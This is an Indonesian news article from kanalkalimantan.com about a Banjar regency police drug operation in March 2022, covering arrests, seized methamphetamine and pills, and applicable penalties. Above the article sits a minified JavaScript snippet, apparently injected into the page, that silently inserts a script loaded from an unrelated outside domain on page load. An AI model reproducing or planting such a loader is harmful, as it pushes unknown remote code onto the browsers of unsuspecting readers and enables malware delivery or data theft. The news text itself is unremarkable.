(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Deretan barang bukti tersusun rapi di atas meja bersama para tersangka yang terjerat kasus selama Operasi Antik Intan 2022.
Dalam kurun hampir dua pekan, sebanyak 36 orang ditangkap beserta barang bukti oleh Kepolisian Resor Banjar ketika Press Conference, di Mapolres Banjar, Rabu (30/3/2022).
Kapolres Banjar AKBP Doni Hadi melalui Wakil Kapolres Banjar Kompol Fihim didampingi Kasat Narkoba Polres Banjar AKP Heriyadi memaparkan, ada 27 kasus Target Operasi (TO) dengan 31 tersangka dan lima kasus Non TO dengan 5 tersangka yang diungkap jajaran Polres Banjar.
“Dari 32 ini, 30 diantaranya kasus narkotika dan dua lainnya kasus kesehatan penyediaan farmasi tanpa izin,” kata Kompol Fihim, Rabu (30/3/2022) siang.
Baca juga: Lafal dan Cara Niat Puasa Ramadhan Sebulan Penuh
Untuk kasus narkotika, sebanyak 22,34 gram sabu disita. Sedangkan obat yang terlarang diamankan terdiri atas 102 butir zenit (carnophen), 5.002 butir seledriil, 1.100 butir samcodin, dan 130 butir dextro.
Menurut Kompol Fihim, hasil Operasi Antik Intan tahun 2022 ini meningkat dari tahun-tahun sebelumnya, karena diketahui pada tahun sebelumnya tidak ditemukan kasus narkotika, maupun kasus kesehatan penyediaan farmasi tanpa izin di Kabupaten Banjar.
“Meningkat ya, kalau tahun 2021 lalu kita kosong tidak ada kasus karena faktor pandemi,” jelasnya.
Kompol Fihim menyebut fenomena yang terjadi pada modus operandi obat-obatan dalam beberapa kasus ialah pelaku menyimpan narkotika di dalam kotak rokok, lemari, saku celana, di lantai atau tanah, hingga saluran pembuangan air. Dengan peredaran memanfaatkan jasa kurir untuk menjalankan bisnisnya di masyarakat.
“Pada fenomena ini memang harus jeli, karena seperti pada saluran air tersebut kebanyakan kita merasa tidak diperhatikan. Namun, berkat kegigihan dan kejelian anggota Satnarkoba Polres Banjar akhirnya terungkap,” kata Fihim.
Untuk mempertanggungjawabkan perbuatannya, pelaku dikenakan Pasal 114 ayat (1) dan pasal 112 ayat (1) UU RI No 35 Tahun 2009 tentang Narkotika dengan ancaman pidana penjara paling sedikit 5 Tahun dan paling lama 20 tahun dengan denda Rp1 miliar.
Kemudian bagi tersangka pengedar obat tanpa izin akan dikenakan Pasal 196, 197 dan 198 UU Kesehatan. Fihim berharap para pelaku nantinya dihukum setinggi-tinginya.
Baca juga: Tertangkap! Pelaku Perkelahian yang Menewaskan MH Depan Cafe di Trikora
“Mudah-mudahan dimaksimalkan hukumannya, katena kita meninginginkan wilayah Kab Banjar babas narokotika. Mengingat kami merencanakan pembuatan desa bebas narkoba di Kabupaten Banjar, guna mengantisipasi terjadinya kasus ini di kemudian hari,” tutup Wakpolres Banjar. (kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.